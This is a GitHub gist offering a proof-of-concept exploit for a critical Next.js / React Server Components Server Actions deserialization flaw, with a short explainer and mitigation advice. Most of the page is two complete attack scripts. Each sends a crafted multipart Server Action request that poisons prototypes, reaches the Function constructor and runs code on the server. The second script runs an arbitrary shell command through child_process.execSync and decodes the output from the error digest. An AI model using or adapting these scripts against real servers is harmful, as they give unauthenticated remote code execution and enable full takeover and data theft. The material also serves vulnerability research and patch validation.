Skip to content

Instantly share code, notes, and snippets.

@AnandPilania
Last active December 18, 2025 00:40
Show Gist options
  • Select an option

  • Save AnandPilania/26d6a7c05e6dcf92e3817eac1d6b2092 to your computer and use it in GitHub Desktop.

Select an option

Save AnandPilania/26d6a7c05e6dcf92e3817eac1d6b2092 to your computer and use it in GitHub Desktop.
[PoC] Next.js / React Server Components (RSC) / Server Actions deserialization flaw (CVSS 10.0)

What vulnerability are these related to?

These scripts target a critical Next.js / React Server Components (RSC) / Server Actions deserialization flaw (CVSS 10.0).

In affected versions:

  • Special internal RSC payload formats
  • Combined with multipart/form-data
  • And Server Actions headers

can be abused to:

  • Poison prototypes
  • Reach Function / constructor
  • Execute arbitrary Node.js code on the server (RCE)

This is server-side, not a browser-only issue.


What are t1.js and t2.js for?

They are two stages / variants of the same exploit concept.

t1.jsProof that injection is possible

Purpose:

  • Confirms that attacker-controlled code can reach server execution paths

What it does (high level):

  • Sends a crafted Server Action request
  • Injects JavaScript into an internal execution prefix
  • Executes something harmless (console.log('meowmeow'))
  • Checks whether the server reflects execution output back

Think of it as:

“Can I make the server run anything at all?”

This is a smoke test.


t2.jsFull remote code execution (RCE) demonstration

Purpose:

  • Proves impact severity
  • Demonstrates arbitrary OS command execution

What it does (high level):

  • Uses the same injection vector
  • Reaches Node.js internals (child_process)
  • Executes a shell command on the server
  • Encodes the result into an error response field
  • Decodes it client-side to show success

This answers:

“If exploited, can this fully compromise the server?”

The answer is yes.


Why does this work at all?

At a conceptual level, the bug is caused by:

  1. Trusting client-controlled RSC payloads
  2. Unsafe object hydration / deserialization
  3. Prototype chain access (__proto__, constructor)
  4. Server Actions executing during request parsing
  5. Error objects leaking execution results

In short:

Data that should be inert is treated as executable logic.


Why is this CVSS 10.0?

Because it is:

  • Remote
  • Unauthenticated
  • No user interaction
  • Full server takeover
  • Works over HTTP
  • Leads to data theft, ransomware, supply-chain attacks

This is the worst possible class of web vulnerability.


Who uses scripts like these?

Legitimate uses only:

  • Security researchers
  • Framework maintainers
  • Red-team / pentesting teams (with authorization)
  • Internal security validation before patch rollout

If you see this in a repo or server unexpectedly → that’s a breach indicator.


What should developers do instead?

If you’re maintaining a React / Next.js app:

  1. Immediately upgrade Next.js to the patched version

  2. Disable or restrict Server Actions if not needed

  3. Block untrusted multipart/form-data to action endpoints

  4. Add WAF rules for:

    • Next-Action
    • RSC content types
  5. Rotate secrets if exposure is suspected

  6. Assume compromise if logs show exploitation attempts


Important note

I’m intentionally not explaining:

  • How to adapt this
  • How to weaponize it
  • How to bypass mitigations

If your goal is defense, patching, or understanding risk, this explanation should be enough.

(async () => {
// === CONFIGURATION ===
const targetUrl = "/namaste"; // The endpoint to hit (relative to current domain)
console.log(`[*] Attempting to run command: ${cmd}`);
// 1. Construct the malicious payload
// This injects the command into a child_process.execSync call and throws the result in an error digest
const payloadJson = `{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"console.log('meowmeow')//","_formData":{"get":"$1:constructor:constructor"}}}`;
const boundary = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad";
// 2. Build the multipart/form-data body manually
const bodyParts = [
`--${boundary}`,
'Content-Disposition: form-data; name="0"',
'',
payloadJson,
`--${boundary}`,
'Content-Disposition: form-data; name="1"',
'',
'"$@0"',
`--${boundary}`,
'Content-Disposition: form-data; name="2"',
'',
'[]',
`--${boundary}--`,
''
].join('\r\n');
try {
// 3. Send the request
const res = await fetch(targetUrl, {
method: 'POST',
headers: {
'Next-Action': 'x', // Required to trigger Server Action logic
'X-Nextjs-Request-Id': '7a3f9c1e',
'X-Nextjs-Html-Request-ld': '9bK2mPaRtVwXyZ3S@!sT7u',
'Content-Type': `multipart/form-data; boundary=${boundary}`,
'X-Nextjs-Html-Request-Id': 'SSTMXm7OJ_g0Ncx6jpQt9'
},
body: bodyParts
});
const responseText = await res.text();
// 4. Extract and Decode the output
// The server returns the output inside the "digest" field of the error
const digestMatch = responseText.match(/"digest"\s*:\s*"((?:[^"\\]|\\.)*)"/);
if (digestMatch && digestMatch[1]) {
let rawBase64 = digestMatch[1];
// Clean JSON escaping
let cleanBase64 = JSON.parse(`"${rawBase64}"`);
// Decode Base64 (handling UTF-8 correctly)
const decodedStr = new TextDecoder().decode(
Uint8Array.from(atob(cleanBase64), c => c.charCodeAt(0))
);
console.log("%c[+] Exploit Successful!", "color: green; font-weight: bold; font-size: 14px;");
console.log("Command Output:\n----------------\n" + decodedStr + "\n----------------");
} else {
console.log("%c[-] Exploit Failed", "color: red; font-weight: bold;");
console.log("Could not find 'digest' in response. Raw response preview:", responseText.substring(0, 200));
}
} catch (e) {
console.error("Request Error:", e);
}
})();
(async () => {
// === CONFIGURATION ===
const cmd = "touch iWasHere"; // The command you want to run
const targetUrl = "/namaste"; // The endpoint to hit (relative to current domain)
console.log(`[*] Attempting to run command: ${cmd}`);
// 1. Construct the malicious payload
// This injects the command into a child_process.execSync call and throws the result in an error digest
const payloadJson = `{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('${cmd}').toString('base64');throw Object.assign(new Error('x'),{digest: res});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}`;
const boundary = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad";
// 2. Build the multipart/form-data body manually
const bodyParts = [
`--${boundary}`,
'Content-Disposition: form-data; name="0"',
'',
payloadJson,
`--${boundary}`,
'Content-Disposition: form-data; name="1"',
'',
'"$@0"',
`--${boundary}`,
'Content-Disposition: form-data; name="2"',
'',
'[]',
`--${boundary}--`,
''
].join('\r\n');
try {
// 3. Send the request
const res = await fetch(targetUrl, {
method: 'POST',
headers: {
'Next-Action': 'x', // Required to trigger Server Action logic
'X-Nextjs-Request-Id': '7a3f9c1e',
'X-Nextjs-Html-Request-ld': '9bK2mPaRtVwXyZ3S@!sT7u',
'Content-Type': `multipart/form-data; boundary=${boundary}`,
'X-Nextjs-Html-Request-Id': 'SSTMXm7OJ_g0Ncx6jpQt9'
},
body: bodyParts
});
const responseText = await res.text();
// 4. Extract and Decode the output
// The server returns the output inside the "digest" field of the error
const digestMatch = responseText.match(/"digest"\s*:\s*"((?:[^"\\]|\\.)*)"/);
if (digestMatch && digestMatch[1]) {
let rawBase64 = digestMatch[1];
// Clean JSON escaping
let cleanBase64 = JSON.parse(`"${rawBase64}"`);
// Decode Base64 (handling UTF-8 correctly)
const decodedStr = new TextDecoder().decode(
Uint8Array.from(atob(cleanBase64), c => c.charCodeAt(0))
);
console.log("%c[+] Exploit Successful!", "color: green; font-weight: bold; font-size: 14px;");
console.log("Command Output:\n----------------\n" + decodedStr + "\n----------------");
} else {
console.log("%c[-] Exploit Failed", "color: red; font-weight: bold;");
console.log("Could not find 'digest' in response. Raw response preview:", responseText.substring(0, 200));
}
} catch (e) {
console.error("Request Error:", e);
}
})();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment